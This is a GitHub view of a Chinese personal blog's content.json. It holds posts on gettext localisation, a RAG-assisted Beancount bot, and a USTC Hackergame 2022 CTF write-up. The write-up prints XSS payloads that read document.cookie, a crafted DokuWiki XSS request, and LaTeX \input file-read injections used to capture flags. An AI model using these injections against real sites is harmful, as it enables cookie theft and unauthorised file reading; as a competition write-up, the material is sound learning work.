-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 415 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 415 KB
1
{"meta":{"title":"Stdio's Blog","subtitle":"随便写写","description":null,"author":"David Dai","url":"https://blog.stdioa.com","root":"/"},"pages":[{"title":"404!","date":"1969-12-31T16:00:00.000Z","updated":"2022-09-10T01:41:19.788Z","comments":false,"path":"404.html","permalink":"https://blog.stdioa.com/404.html","excerpt":"","text":"404 Not Found 点击左侧头像返回首页"},{"title":"分类","date":"2022-09-10T01:41:19.798Z","updated":"2022-09-10T01:41:19.798Z","comments":false,"path":"categories/index.html","permalink":"https://blog.stdioa.com/categories/index.html","excerpt":"","text":""},{"title":"关于我","date":"2022-09-10T01:41:19.798Z","updated":"2022-09-10T01:41:19.798Z","comments":false,"path":"about/index.html","permalink":"https://blog.stdioa.com/about/index.html","excerpt":"","text":"简介 昵称:小戴。很多姓戴的人都有这样一个昵称 😂 南京航空航天大学 2013级 信息安全专业 LCTT 成员,曾经是扇贝网后端工程师 曾经是天天缺觉的“特困生”,然而现在天天早睡早起(算是吧) 被同学称为“金陵丈量者”,希望有一天能够走遍南京 人生苦短,我用 Python 业余爱好 羽毛球、乒乓球、古典音乐、钢琴、咖啡。 涉猎领域 编程语言 C / C++ / Python(主要开发语言) / Go / Node.js(会一些) Web 开发 前端: HTML / CSS / Javascript(ES6) 组件库:React.js(会一点) / Vue.js (Vue.js + vuex + vue-router) 样式库:Semantic UI 后端: Web 框架:Flask / Django / Bottle / Express RPC 框架:gRPC / sea 数据库: MySQL / MongoDB(了解) / Redis DevOps Kubernetes / GitLab CI/CD 编程工具 代码编辑器: Sublime Text & VS Code 版本控制: Git(熟练) 代码构建: gulp, babel, webpack 个人页面 Github仓库 Coding仓库 博客 LCTT 主页 我的乐谱分享站 联系我 E-mail: c3RkaW9hQDE2My5jb20= Telegram: @StdioA"},{"title":"友情链接","date":"2022-09-10T01:41:19.798Z","updated":"2022-09-10T01:41:19.798Z","comments":true,"path":"links/index.html","permalink":"https://blog.stdioa.com/links/index.html","excerpt":"","text":""},{"title":"Repositories","date":"2022-09-10T01:41:19.831Z","updated":"2022-09-10T01:41:19.831Z","comments":false,"path":"repository/index.html","permalink":"https://blog.stdioa.com/repository/index.html","excerpt":"","text":""},{"title":"标签","date":"2022-09-10T01:41:19.854Z","updated":"2022-09-10T01:41:19.854Z","comments":false,"path":"tags/index.html","permalink":"https://blog.stdioa.com/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"为 Python 项目提供多语言支持","slug":"python-i18n-with-gettext","date":"2024-08-23T08:21:08.000Z","updated":"2024-08-23T16:38:13.736Z","comments":true,"path":"2024/08/python-i18n-with-gettext/","permalink":"https://blog.stdioa.com/2024/08/python-i18n-with-gettext/","excerpt":"突发奇想,给自己的 beancount-bot 接入了多语言支持。本文简单记录了接入和使用的流程。","text":"突发奇想,给自己的 beancount-bot 接入了多语言支持。本文简单记录了接入和使用的流程。 在很久很久以前,我曾经在 Django 中使用过多语言支持,但还未尝试过使用底层框架为任意项目提供多语言支持。正巧昨天想将最近开源的 beancount-bot 推荐给 awesome-beancount 项目,而之前的所有文本几乎都是用中文写的。于是,我打算为它提供多语言支持,顺便学习一下 gettext. 背景 在企业中,我们通常将涉及到多语言的工作称为“国际化”工作,但提到相关领域,我们通常绕不开两个意思相近的词:国际化(internationalization,缩写为 i18n)和本地化(localization,缩写为 l10n)。 按照我的理解,国际化工作更偏向框架层面,旨在为程序提供支持多语言的能力;而本地化工作更偏向是细节层面,其目标是在已有的国际化框架中,通过翻译等手段来提供得体的、符合当地文化环境的内容。 GNU gettext 的文档 更详细地介绍了这两个概念的区别。 除了我们熟悉的文本翻译以外,货币、日期、数字表示法甚至 RTL 也属于国际化的工作范畴,这篇文档中详细介绍了更多国际化的工作内容。 在 Python 和 C 语言的程序中,我们通常会使用 GNU gettext 工具包来完成多语言支持工作。它提供了简洁且易于使用的框架,可以让开发者以极其微小的成本为程序来提供国际化支持。 而 Python 也提供了对应的 gettext 包来支持相关工作。 语言(language)和地区(locale) 在国际化工作中,“语言”(language)和“地区”(locale)是两个核心概念,它们在定义应用程序或内容如何适应不同市场和用户需求时扮演着关键角色。 语言指的是人们用于交流的符号系统,如英语、汉语、西班牙语等。它主要关注文本的翻译和语言习惯的适应,确保内容在不同语言环境下的可理解性和自然性。 地区则是一个更广泛的概念,它不仅包括语言,还涵盖了与特定地理区域相关的所有文化、法律和格式规范。这包括日期和时间的显示格式、货币符号、数字格式、排序规则等。地区设置确保了应用程序在不同地区的用户界面和功能能够符合当地的文化和习惯。 比如,我们在安装系统时,通常会有一个提示界面让我们去选择“语言和地区”。如果用户选择了“英语(美国)”作为他们的地区设置,那么应用程序应该显示美式英语的文本,使用美元符号($)作为货币单位,并按照美国习惯格式化日期(如 MM/DD/YYYY);而如果用户选择了“英语(英国)”,虽然语言同样是英语,但日期格式(如 DD/MM/YYYY)和货币单位(£)将会有所不同,以适应英国地区的规范。 在 POSIX 系统中,我们通常会使用 语言代码_地区代码 的格式来表示 locale. 比如上面的两个 locale 的代码分别为 en_US 和 en_GB. 通过精确区分和应用这两个概念,国际化工作能够确保软件产品和内容在全球范围内的有效性和用户满意度。 接入流程 通常情况下,一个 Python 程序接入多语言的工作流程如下图: 在 gettext 中,我们会通过 msgid 来对文本做唯一标注,而这个 msgid 的值就来自于源代码中在 _ 函数做参数的字符串。然而,在不同的语境中,同一个单词会具有不同的含义,如 position 一词可以表示“位置”,也可以表示“头寸”。 为了隔离不同的使用场景,gettext 创造了“域”的概念,并通过文件来将不同域的本地化配置隔离开来。在后文中,我们会假设使用的域为 mydomain。 具体的操作步骤如下: 在 Python 代码中先通过 gettext.gettext 函数(通常会使用 _ 做别名)来标记所有需要翻译的字符串。 需要注意的是,需要翻译的字符串必须是“静态”字符串,而不能是 f-string 这种内容不确定的字符串。如果需要动态生成,可以考虑用 format 或 % 函数来渲染翻译后的字符串。 标记好后,通过 xgettext -d mydomain -o locale/mydomain.pot **/*.py 扫描源代码中的字符串,并生成 .pot 本地化模板; 选择你期望翻译的 locale,假设为 zh_CN,并根据翻译模板生成 .po 本地化文件: 如果是初次生成,则运行 msginit -i locale/mydomain.pot -o locale/zh_CN/LC_MESSAGES/mydomain.po -l zh_CN; 如果要更新现有 .po 的内容,并保留之前已完成的翻译结果,则运行 msgmerge --update locale/zh_CN/LC_MESSAGES/mydomain.po locale/mydomain.pot 打开 .po 文件,并翻译现有内容(我选择了直接扔给 LLM,让它翻译之后按原格式输出) 如果是内容更新,最好特别留意包含 fuzzy 标签的翻译记录;fuzzy 的具体含义可以参考文档。 翻译之后,运行 msgfmt -o locale/zh_CN/LC_MESSAGES/mydomain.mo locale/zh_CN/LC_MESSAGES/mydomain.po 将 .po 编译成机器识别的 .mo 格式。 我将以上流程整理成了一个 Makefile,这样只需要 make all 即可完成增量构建。 1234567891011121314151617181920212223242526272829303132333435LANGUAGES := en zh_CN zh_TW fr_FR ja_JP ko_KR de_DE es_ESDOMAIN := mydomainPOT_FILE := locale/$(DOMAIN).potPO_FILES := $(foreach lang,$(LANGUAGES),locale/$(lang)/LC_MESSAGES/$(DOMAIN).po)MO_FILES := $(foreach lang,$(LANGUAGES),locale/$(lang)/LC_MESSAGES/$(DOMAIN).mo).PHONY: all gentranslations compiletranslations cleanall: gentranslations compiletranslationsgentranslations: $(PO_FILES)compiletranslations: $(MO_FILES)$(POT_FILE): **/*.pyspacexgettext -d $(DOMAIN) -o $@ $^define po_rulelocale/$(1)/LC_MESSAGES/$(DOMAIN).po: $(POT_FILE)space@mkdir -p $$(dir $$@)space@if [ ! -f $$@ ]; then \\spacespacemsginit -i $$< -o $$@ -l $(1); \\spaceelse \\spacespacemsgmerge --update $$@ $$<; \\spacefiendef$(foreach lang,$(LANGUAGES),$(eval $(call po_rule,$(lang))))%.mo: %.pospacemsgfmt -o $@ $^clean:spacerm -f $(POT_FILE) $(PO_FILES) $(MO_FILES) 运行时翻译 在完成上面的国际化流程后,我们就可以运行我们的程序来对代码内的文本进行翻译了。 我们可以使用以下代码来初始化多语言环境: 123locale_dir = pathlib.Path(__file__).parent / 'locale'gettext.bindtextdomain('mydomain', locale_dir)gettext.textdomain('mydomain') 注意,此处本地化文件的目录传递了绝对路径。如果只写 locale 作为目录,则 gettext 会以当前的工作目录为基准去查找本地化文件,而这很可能导致翻译功能失效。 在默认情况下,gettext 包会按顺序读取环境变量(LANGUAGE, LC_ALL, LC_MESSAGES, LANG),并从中找到用户的偏好 locale;若这些变量均为空,则会降级到 C locale. 在确认目标 locale 后,我们在代码中调用 _ 函数时,它就可以将源字符串转换为翻译后的字符串。 关于刚刚提到的几个环境变量,它们的关系说来复杂,如果读者有兴趣,可以阅读 GNU gettext 文档中的 《设置 POSIX locale》 部分。 显式指定 locale 虽然我们的默认 shell 环境中都包含了 locale 相关的环境变量,但在某些环境(如容器)里,这些环境变量是不会设置的。 除了通过 -e 参数注入环境变量外,或许我们还可以考虑通过配置文件等方式为程序显式指定所用的 locale。 此处有两种方法: 环境变量覆盖:通过 os.environ['LANGUAGE'] = "ll_CC" 的方式,来为全局的 gettext 函数指定语言; 局部翻译变量:使用 translation = gettext.translation("mydomain", locale_dir, ["ll_CC"], fallback=False) 生成一个独立的翻译对象,并将 translation.gettext 作为 _ 函数来生成翻译文本。 参考文档 GNU gettext 文档 Python gettext 文档 通过 Deepseek 快速上手 gettext 接入流程 通过 Claude 3.5 Sonnet 完成了 Makefile 的重构","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"i18n","slug":"i18n","permalink":"https://blog.stdioa.com/tags/i18n/"},{"name":"l10n","slug":"l10n","permalink":"https://blog.stdioa.com/tags/l10n/"},{"name":"gettext","slug":"gettext","permalink":"https://blog.stdioa.com/tags/gettext/"},{"name":"本地化","slug":"本地化","permalink":"https://blog.stdioa.com/tags/%E6%9C%AC%E5%9C%B0%E5%8C%96/"},{"name":"国际化","slug":"国际化","permalink":"https://blog.stdioa.com/tags/%E5%9B%BD%E9%99%85%E5%8C%96/"}],"author":"David Dai"},{"title":"RAG 基本应用——Beancount 记账效率优化","slug":"beancount-rag","date":"2024-08-17T13:20:00.000Z","updated":"2024-08-24T15:10:01.549Z","comments":true,"path":"2024/08/beancount-rag/","permalink":"https://blog.stdioa.com/2024/08/beancount-rag/","excerpt":"本文来自于一个手工记账博主的脑洞大开,尝试通过向量数据库和 RAG 来想办法让自己少打几个字。顺便宣传一下最近开源的记账 bot.","text":"本文来自于一个手工记账博主的脑洞大开,尝试通过向量数据库和 RAG 来想办法让自己少打几个字。顺便宣传一下最近开源的记账 bot. 背景 自从 2020 年将记账系统迁移到 Beancount 后,我就开发了一个 Telegram Bot 来辅助我记账。通过它,我可以使用 {金额} {流出账户} [{流入账户}] {payee} {narration} [{tag1} {tag2}] 的文法来快速生成一条交易记录并落库。虽然后来将这个 Bot 迁移到了 Mattermost 上,但四年以来,核心逻辑并没有做任何改动。 最近经常骑车去打球,每次骑完车之后总需要掏出手机去记账,输入诸如 1.5 支付宝 哈啰单车 自行车 的文本。虽然已经手动记账记了七年,但完全相同的内容记得次数太多了,也难免会有些枯燥。 前一阵子刚好在 GitHub 上刷到了基于 sqlite 的向量数据库方案 sqlite-vec,正好趁这个机会来对 RAG 做一个初步体验,探索一下是否存在系统性的手段,可以进一步降低单笔记账所需的字符数。 基础知识 RAG(Retrieval-Augmented Generation, 增强检索生成)这个概念在 2020 年最初提出,旨在提升大语言模型本身在回答问题时的准确性问题。在 2023 年 LLM 进入爆炸式发展后,人们也在不断地对 RAG 进行改进。 简单来说,RAG 的过程就是预先通过 embedding 技术构建一个离线的向量数据库;在用户提问时,从向量数据库检索到最相关的部分信息,然后将其作为参考信息和用户的问题一起喂给 LLM,这样 LLM 的回答就更有可能依据给出的参考信息来进行生成,出现幻觉的可能性更低。 从网上找到了一个比较简洁的 RAG 流程图(图片来源): 传统的长文本段落机械切分模式可能影响 embedding 结果,而直接查询检索方式可能导致问题理解不准确。以上问题可能会导致 RAG 的检索精度不足,进而影响到 LLM 的生成效果。近期,RAG 的优化重点在于提升检索准确性和处理复杂问题的能力,研究者们提出了如 GraphRAG 和 MultiHop-RAG 等先进架构。 不过对于一个记账应用来说,最简单的 RAG 架构,已经能够满足我的需求了。 应用设计 思路 在之前的文本转换逻辑中,我会通过 {金额} {流出账户} [{流入账户}] {payee} {narration} [{tag1} {tag2}] 的文法来将通过 IM 输入的文本流转换为 Beancount 交易。但如果要构建向量数据库,那匹配元素的优先级排序应是 payee > narration > 账户 > tag,而金额信息只会对检索构成干扰。 因此,我会取出最近 1000 条交易,然后将交易记录转换为 {payee} {narration} {账户列表} {标签列表} 的文本,以此来构建向量数据库。由于我的交易中包含中文,因此我选用了 BAAI/bge-large-zh-v1.5 来做 embedding。 但是,在检索时,我是不太容易去判断用户输入的每个词具体属于哪个元素的,因此我会将用户的输入除去开头的金额后,直接进行 embedding,然后通过计算余弦相似性找出相关记录,并找到它们对应的原始交易。 都说汉字的序顺并不定一能影阅响读,但 embedding 不会完全认这个。 为了获得更好的匹配和补全效果,我还需要通过 LLM 来仔细分辨里面的每一个元素,并对可能有问题的元素进行修正。比如,当我使用了新的支付账户进行交易,但系统中没有检索到完全一致的交易记录时,就可以用 LLM 来帮我进行账户的替换。 流程设计 用户输入内容后,首先还是会按照原本的文法来尝试对输入信息进行匹配。若匹配失败,则可以选择两种模式:向量数据库检索,或 RAG 生成。 使用向量数据库匹配时,会从现有数据库中找出多个相近的条目,然后对其中的词语重排后,再传给原有的生成逻辑,从而生成候选条目。 若使用 RAG,则会通过向量数据库匹配后,将对应的原始条目塞给 LLM,让 LLM 参考已有条目和用户输入,生成一条全新的条目并输出。 尾声 开发完成后,两种匹配模式都尝试用了几天。向量匹配效果还不错,绝大多数情况下,前两个候选输出中就能够包含目标结果;RAG 在 gpt-4o-mini 和 DeepSeek-V2-Chat 模型上的效果都能令我满意。不过我并不太需要使用 RAG,因此日常用的更多的还是向量数据库匹配的模式。 不过话说回来,很多人使用 Beancount 本身就是有隐私保护方面的考虑,因此也不太能够接受把自己的账目数据喂给大公司去用于训练的行为。不过好在现在的端侧小模型对硬件的要求也不算很高,我们也可以用 ollama 提供本地的 LLM 和 embedding 服务来保护隐私。 作为参考,我使用本地的 Gemma2-2B 模型试了一下,补全效果非常糟糕,不过 Qwen2-7B-Instruct 在我随便写的 prompt 下就能够正常工作了。 这个 Bot 的代码已经开源,前端支持 Telegram 和 Mattermost,欢迎大家使用和 star: https://github.com/StdioA/beancount-bot","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"记账","slug":"记账","permalink":"https://blog.stdioa.com/tags/%E8%AE%B0%E8%B4%A6/"},{"name":"Beancount","slug":"Beancount","permalink":"https://blog.stdioa.com/tags/Beancount/"},{"name":"LLM","slug":"LLM","permalink":"https://blog.stdioa.com/tags/LLM/"},{"name":"RAG","slug":"RAG","permalink":"https://blog.stdioa.com/tags/RAG/"}],"author":"David Dai"},{"title":"USTC Hackergame 2022 玩耍记录","slug":"ustc-hackergame-2022-writeup","date":"2022-10-29T14:50:00.000Z","updated":"2022-10-29T14:55:19.250Z","comments":true,"path":"2022/10/ustc-hackergame-2022-writeup/","link":"","permalink":"https://blog.stdioa.com/2022/10/ustc-hackergame-2022-writeup/","excerpt":"上周日晚上,偶然看到一个原神玩家群(?)里面有人发了一张图,说是 USTC 的 CTF. 上一次玩 CTF 还是六年前,不过这次一时兴起打算玩玩看。 由于上班比较忙,所以只玩了一天多一点,做了一些简单题。","text":"上周日晚上,偶然看到一个原神玩家群(?)里面有人发了一张图,说是 USTC 的 CTF. 上一次玩 CTF 还是六年前,不过这次一时兴起打算玩玩看。 由于上班比较忙,所以只玩了一天多一点,做了一些简单题。 注册 周日的半夜,在群里看到了一张 CTF 的图,于是兴冲冲地跑去注册,没想到直接吃了闭门羹🌚。 周一早上八点,准时开干。 Binary Flag 自动机 题目在这里。 打开之后可以看到一个对话框,鼠标一碰到“狠心夺取”的按钮,它就会跑掉。 拖到 IDA 里反编译,可以看到 sub_401510 函数中存在输出 flag 的代码,但生成 flag 的代码被混淆过,很难看懂。 在这个过程中,看到了出题人给的注释:“Hint: You don’t need to reverst the decryption logis itself.”,那看来是需要看看别的方法。 仔细看下 sub_401510: 其中 2u 的 case 是“放手离开”的触发逻辑,而 1u 是“狠心夺取”。中间的 0x111u 分支需要想办法触发才能拿到 flag. 这个程序加了反动态调试,因此也无法通过打断点的方式来进入这个分支。(当然官方题解也讲了绕过动态调试的方法)。 一番搜索(感谢浩子哥哥),找到了 Windows 的 PostMessageA 函数,通过它可以向指定窗口发送事件消息。 那么创建一个 Windows C++ 项目,运行 PostMessageA(HWND_BROADCAST, 0x111, 3, 114514),即可让 flag 自动机弹窗并输出 flag. 不过,老司机告诉我可以直接用 Python: 123456import win32guiimport win32conhwnd = win32gui.FindWindow("flag 自动机", "flag 自动机")win32gui.SetForegroundWindow(hwnd)win32con.SendMessage(hwnd, 0x111, 3, 114514) OK,这就是我唯一能做的逆向题了。 General General 就是 misc,是想当年最喜欢做的题目种类。 猫咪问答喵 参加猫咪问答喵,参加喵咪问答谢谢喵。 点进去以后发现是 6 道问答题,答对一半给一个 flag,答对全部给两个。 中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵? Google “USTC NEBULA 成立时间”搜到一条新闻,可以得知成立于 2017 年 3 月。 2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么? Google 一番找到了当时的活动记录,看了一眼 slides 感觉是 Dolphin,然鹅并不是它。 于是去看了 B 站上的视频回放,把这段演讲听了两三遍 🌚。在视频的 2:42:06 处,主讲人念了一个单词,最后 Google 搜索联想告诉我它是 Kdenlive. 22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少? 放飞自我,随便 Google,最后发现 12 能用,但是 13 就不能了。所以答案是 12. 你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵! 在 torvalds/linux.git 下搜索 CVE-2021-4034,得到 Commit dcd46d897adb70d63e025f175a00a89797d31a43. 通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.,你知道猫咪在连接什么域名吗? 一开始看到这个题我有点蒙。全球那么多域名那么多服务器,怎么知道服务器的 key 是什么?做完上面的题回来看,发现可以直接 Google,看到 Zeek 的文档 用这个 key 做了例子,而目的 IP 是可以直接访问的。 通过网页标题重新 Google,发现答案是 sdf.org. 中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的? 一开始查到了一篇介绍收费标准的文章,然而 2011-11-01 不是正确答案。 看了看以前的题解,这个题是可以爆破的,于是按天对题目进行了爆破,最后得到答案 2003-03-01. 家目录里的秘密 VS Code 里的 flag 把 home 目录下下来,在 .config/Code 里全局搜索 “flag”,就能拿到第一个 flag. Rclone 里的 flag rclone 没有用过,不是很熟。不过看了一眼 .bash_history,最后有一行 cat .config/rclone/rclone.conf. hmm… 提示可以说是非常明显了。 查看 rclone.conf,看到密码是 tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ. 搜索“rclone decrypt password”,找到了一个解密脚本,跑一下拿到 flag. HeiLang 来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 | 运算,升级为了更加先进的语法,用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t。 没啥好说的,把代码下下来做个字符串替换,然后塞回源代码里,跑一下就能拿到 flag. 旅行照片 2.0 社工题,有点意思,不过做完这道题的第二天,我就把我的个人签名改成了“记得取消 FR24 订阅”。 题目给了这样一张图片,需要从中来挖掘有关信息。 第一题:照片分析 图片所包含的 EXIF 信息版本是多少? 拍照使用手机的品牌是什么? 该图片被拍摄时相机的感光度(ISO)是多少? 照片拍摄日期是哪一天? 照片拍摄时是否使用了闪光灯? 题目很明显都与照片的 EXIF 信息有关。而 Mac 自带的查看功能并不能看到全部信息(比如 ISO),所以找了一个 Python EXIF 库来协助完成。 第二题:社工实践 酒店 请写出拍照人所在地点的邮政编码,格式为 3 至 10 位数字,不含空格或下划线等特殊符号(如 230026、94720)。 照片窗户上反射出了拍照人的手机。那么这部手机的屏幕分辨率是多少呢?(格式为长 + 字母 x + 宽,如 1920x1080) 仔细看图,体育馆的一楼有一行字,但看不太清,像是 “zozomandie stadium”。于是万能的 Google 搜索纠正告诉我它是 “zozo marine stadium”,也就是千叶海洋球场。那么,根据拍照人的位置,可以推测出拍照人住在附近的酒店,而且与球场只隔一条街。 根据 Google 地图提供的酒店地址(〒261-0021 千葉県千葉市美浜区ひび野2丁目3),我们就能够知道邮编就是“2610021”。 而拍照人的手机,同样是通过 EXIF 信息获得。搜索“xiaomi sm6115”,前面几个搜索结果似乎没有提供很多有价值的信息,但后面的结果告诉我这个手机应该是「Redmi 9T」,或者「Redmi Note 9」. 搜索“红米9T”,可以直接查到它的屏幕分辨率是 2340x1080. 航班 仔细观察,可以发现照片空中(白色云上方中间位置)有一架飞机。你能调查出这架飞机的信息吗? 起飞机场(IATA 机场编号,如 PEK) 降落机场(IATA 机场编号,如 HFE) 航班号(两个大写字母和若干个数字,如 CA1813) EXIF 信息告诉我这张照片拍摄于 2022 年 5 月 14 日 18:23:35,一开始不太确定手机的时区是否是日本时区(UTC+9),所以通过 2022-05-14 千叶县的日落时间比对了一下,确定拍摄时间所在的时区就是 UTC+9. 那么我们要查的就是那个时刻经过的航班了。 查这种东西我只能想到 FlightRadar24,但免费用户只能查询 7 天内的航班。于是被迫开了 7 天试用,查到了当时那家飞机的航班号(NH683),以及起降机场(HND → HIJ)。 猜数字 看看代码: 123456var guess = Double.parseDouble(event.asCharacters().getData());var isLess = guess < this.number - 1e-6 / 2;var isMore = guess > this.number + 1e-6 / 2;var isPassed = !isLess && !isMore; 浮点数,不大于也不小于,为什么不来个 NaN 呢? 输入 NaN,拿到 flag. 因为前端输入框限制了只能输入数字和小数点,所以还要构造下请求才能顺利提交。 线路板 题目给了一套PCB 的生产文件,需要找到 PCB 版中的 flag. 下载下来之后,看到里面有 .gbr 文件,虽然是纯文本格式,但它似乎并不能直接读出来。 于是下载了一套 KiCad 工具,用 PCBNew 打开电路板,在啥都不懂的情况下一番鼓捣,最后看到了 Flag 的轮廓,是 flag{8_1ayER_rogeRS_81ind_V1a}. 为了它我下了一套 15GB 的 App,用了 10 分钟就删掉了,略微有点离谱 😂 光与影 题目文件在这里,是一个使用 OpenGL 编写的动画。而我们就是需要找到被挡住的 flag. 下下来以后看到了一堆完全不认识的代码,而经验告诉我核心的渲染逻辑都在 fragment-shader.js 中,而这个 js 里面使用了一种没见过但很像 C 的语言。 翻到文件的最后,在主函数看到了一个 isTerrain 变量,顺着 isTerrain 为 false 的逻辑一路往上看,遇到不懂的地方就改改代码再运行一下看看效果,最后找到了关键代码。 123456789101112131415float sceneSDF(vec3 p, out vec3 pColor) { pColor = vec3(1.0, 1.0, 1.0); vec4 pH = mk_homo(p); vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH; float t1 = t1SDF(pTO.xyz); float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz); float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz); float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz); float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0); float tmin = min(min(min(min(t1, t2), t3), t4), t5); return tmin;} 只要把 t5 从 tmin 的判断中去掉,就能看到 flag: flag{SDF-i3-FuN!}. 虽然改出来了,然而我依然没有看懂这堆代码。官方题解中详细地讲了一下渲染方法的实现,有兴趣的朋友可以去看看。 Web 签到 需要手写识别 2022,但它把识别结果写在 URL 里了。 把 URL http://202.38.93.111:12022/?result=???? 里的 result 改成 2022,拿到 flag. XCaptcha 题目源代码在这里。 出题人给了一个网页,需要你通过在一秒内算出三个大数加法并提交,来证明你是机器人。 写个自动提交的爬虫吧,网页结构不是很复杂,所以直接用正则即可,不需要判断 DOM. 1234567891011121314151617sess = requests.Session()sess.cookies.set("session", "<some_jwt>")response = sess.request("GET", url)res = re.findall(r"(\\d+)\\+(\\d+)", response.text)result = []for x, y in res: result.append(int(x)+int(y))for k, v in response.cookies.items(): sess.cookies.set(k, v)response = sess.request("POST", url, data={ "captcha1": result[0], "captcha2": result[1], "captcha3": result[2],})print(response.text) LaTeX 机器人 渲染 LaTeX 图片的脚本在这里。 靠 Google 只会做一半:\\input{/flag1} 拿到第一个 flag. 由于构建脚本里关掉了 shell escape,所以其它基于命令执行的方案都会失败,后面卡了很久。 某天晚上,浩哥哥发来了一个页面,讲了如何去在文章里引用包含特殊符号的内容,而里面提到了 \\catcode 命令。 \\catcode 的常见用法是将某个字符定义成某种宏。而我们通过它就可以将特殊字符视为一个 Catcode 12 的字符,而这类字符是无法参与指令控制的。 最后输入 { \\catcode``#=12 \\catcode\\``_=12 \\input{/flag2} } 得到 flag:flag{latex_bec_0_m##es_co__#ol_2a1fd66cfe}. Flag 的痕迹 题目写明了服务的版本: (题目 Dokuwiki 版本基于 2022-07-31a “Igor”) 这大概已经算是明示了?去搜一发 CVE,看到了 CVE-2022-3123,通过构造 XSS 即可打开历史记录页面。 构造请求: 123456789101112POST /doku.php?id=start HTTP/1.1Content-Type: application/x-www-form-urlencodedReferer: http://202.38.93.111:15004/doku.php?id=startCookie: DokuWiki=57vk0n23v486p8vdjqc15oigpu; DOKU_PREFS=show_changes%23both%23difftype%23sidebysideContent-Length: 139Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36Host: 202.38.93.111:15004Connection: Keep-alivedifftype=sidebyside'"()%26%25<zzz><ScRiPt%20>alert("1")</ScRiPt>&do=diff&do[diff]=1&id=start&rev2[0]=1&rev2[1]=0&sectok=1 看到历史记录,就可以拿到 flag. 当然以上都是误打误撞。 比赛结束后看到了官方题解,才发现真正的关键是请求参数中的 do=diff,其它的包括 CVE, XSS payload 等等都不重要。 因此只要访问 http://202.38.93.111:15004/doku.php?id=start&do=diff,然后在页面中查看版本变更即可。 微积分计算小练习 XSS 基础练习。 题目给了一个练习页面,以及一个提交练习成绩的后端代码。 练习页面长这样,先 X 一发,发现姓名字段是可以注入的,没有任何限制。 然后再去看后端代码,可以看到它使用 selenium 打开了练习结果页面,但打开结果之前,它把 flag 注入到了当前浏览器的 cookie 中。 那么,直接在练习页面来一发 <img src=# onerror="alert(document.cookie)"> 并将结果提交,就可以看到后端抛出了异常: 123456789- Logining... Putting secret flag...- Now browsing your quiz result...ERROR <class 'selenium.common.exceptions.UnexpectedAlertPresentException'>selenium.common.exceptions.UnexpectedAlertPresentException: Alert Text: flag=flag{xS5_1OI_is_N0t_SOHARD_abb4def144}Message: unexpected alert open: {Alert text : flag=flag{xS5_1OI_is_N0t_SOHARD_abb4def144}} (Session info: headless chrome=106.0.5249.119)Stacktrace:... 后来看了官方题解,他们给的 payload 是把 cookie 放到了名字的 DOM 中,这样看起来似乎更优雅一些。 Math 我的数学是真的很垃圾,所以只能做出一道半… 蒙特卡罗轮盘赌 好家伙,头一次见到随机数种子碰撞的题。 题目描述见这里。 看了下代码,主要逻辑是使用 (unsigned)time(0) + clock() 初始化随机数种子,并根据实验计算出 π 的值。而我们如果要答对题,就需要找到或猜到服务运行时所用的种子。 那么我的思路主要靠猜:通过大量收集服务端给出的结果,并对其进行爆破算出每组数据实际使用的 clock(),统计出 clock() 的大致范围,然后用一个固定 clock 去随机碰撞答案。 题目的服务限制了连接频率,每个用户 10 秒钟只能建立一个连接。收集程序跑了一中午拿了两百多组数据,而我的 NAS 平均一分半才能算碰撞出一组结果。算了大概半个小时,发现 clock() 的值大多落在 700-900 之间。 于是简单写了个脚本,用 800 作为 clock 的值开始蒙,没想到只用了一分半就蒙出来了!然而更让我没想到的,是我在撞完之后没有把服务端的所有输出都打出来就退出了,这导致我只拿到了结果,但没拿到 flag,直接哭死。 改了一下代码,使用了 interactive() 保证所有输出都被打印,重新开蒙。这次蒙了将近 70 分钟才蒙到。 